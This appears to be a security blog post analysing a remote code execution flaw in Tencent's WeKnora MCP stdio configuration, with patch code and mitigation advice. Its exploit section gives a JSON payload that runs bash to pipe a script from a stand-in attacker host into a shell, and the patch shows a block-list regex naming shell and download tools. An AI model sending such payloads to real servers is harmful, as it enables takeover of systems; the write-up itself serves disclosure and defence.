WeKnora RCE: When 'Model Context' Becomes 'Shell Context'

In the rush to build the ultimate AI Agent ecosystem, developers are rapidly adopting the Model Context Protocol (MCP). It's a cool standard that lets Large Language Models (LLMs) talk to your local data and tools. One of the ways it does this is via the stdio transport—basically, the application spawns a subprocess and talks to it via standard input/output.

Here is where Tencent's WeKnora stumbled. They implemented an MCP client that allows users to define exactly which binary to spawn as a subprocess. If you are a developer, your spider sense should be tingling right now. Letting a user pick a binary path and its arguments is effectively providing a "Remote Shell as a Service" feature.

This isn't just a bug; it's a fundamental misunderstanding of trust boundaries. The application assumes that because a user is authenticated (via a Bearer token), they can be trusted to execute code on the underlying server. Spoiler alert: they cannot.

The vulnerability lies in how WeKnora handles the stdio_config object within an MCP service definition. When a user creates or updates a service, they supply a JSON payload containing the command to run (command) and its arguments (args).

Under the hood, WeKnora takes these strings and passes them straight to Go's os/exec package. There was no allowlist of permitted binaries. There was no sanitization of arguments. There was no check to ensure the command wasn't /bin/bash or C:\Windows\System32\cmd.exe.

Even worse, this configuration is persisted. Once the malicious service is saved, the attacker can trigger the execution on-demand by hitting the /test endpoint. It’s persistent RCE stored in the database, waiting for a trigger pull.

Let's look at the smoking gun. Prior to the fix, the code likely looked something like this (simplified for dramatic effect):

// The "Before" Logic
func StartMCPServer(config StdioConfig) {
    // Direct injection into exec.Command
    cmd := exec.Command(config.Command, config.Args...)
    cmd.Start()
}

The fix, applied in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb, introduces a new security package internal/utils/security.go that acts like a mini-WAF for process execution.

The Patch Logic

The developers implemented a "Secure Stdio" validator that enforces three main restrictions:

1. Command Whitelist: You can only run uvx (Python) or npx (Node.js). Anything else gets blocked.
2. Argument Blacklist: A massive regex (DangerousArgPatterns) tries to catch bad behavior. It blocks characters like ;, |, &, $(), and keywords like bash, sh, curl, wget, and nc.
3. Env Var Sanitization: It strips dangerous environment variables like LD_PRELOAD.

// The "After" Logic
var AllowedStdioCommands = map[string]bool{
    "uvx": true,
    "npx": true,
}
 
// Blocks common shell injection and data exfiltration tools
var DangerousArgPatterns = regexp.MustCompile(`[;|&$<>]|\b(bash|sh|zsh|curl|wget|nc)\b`)

While this stops the low-hanging fruit (like running bash), whitelisting npx is a bold move. npx is literally designed to download and execute arbitrary code from the internet. If the server has outbound access, this patch might just be a speed bump rather than a wall.

Exploiting this is trivially easy if you have credentials. We don't need fancy memory corruption; we just need curl.

Step 1: Get In

First, we authenticate to get a JWT. WeKnora doesn't distinguish between "users who can chat" and "users who can spawn processes."

Step 2: The Payload

We craft a JSON payload creating a new MCP service. We tell WeKnora that our "Model Context" is actually the Bourne Again Shell.

{
  "name": "pwned_service",
  "transport_type": "stdio",
  "stdio_config": {
    "command": "/bin/bash",
    "args": [
      "-c",
      "id > /tmp/pwned && curl http://attacker.com/revshell | bash"
    ]
  }
}

Step 3: Execution

We send a request to the test endpoint. The server spins up bash, executes our command, and potentially connects back to our listener. Game over.

If you are running WeKnora, you need to update immediately. The vulnerability affects all versions prior to the Dec 22, 2024 commit.

Immediate Actions:

1. Pull the latest Docker image or rebuild from source containing commit f7900a5e.
2. Audit your MCP Services: Check your database for any services using stdio transport with suspicious commands.

Defense in Depth: Even with the patch, relying on npx and uvx is risky. These tools pull code from public registries.

• Egress Filtering: Block outbound internet access for the WeKnora container. If npx can't reach npm, it can't run arbitrary remote packages.
• Least Privilege: Ensure the WeKnora process runs as a non-root user with minimal filesystem access.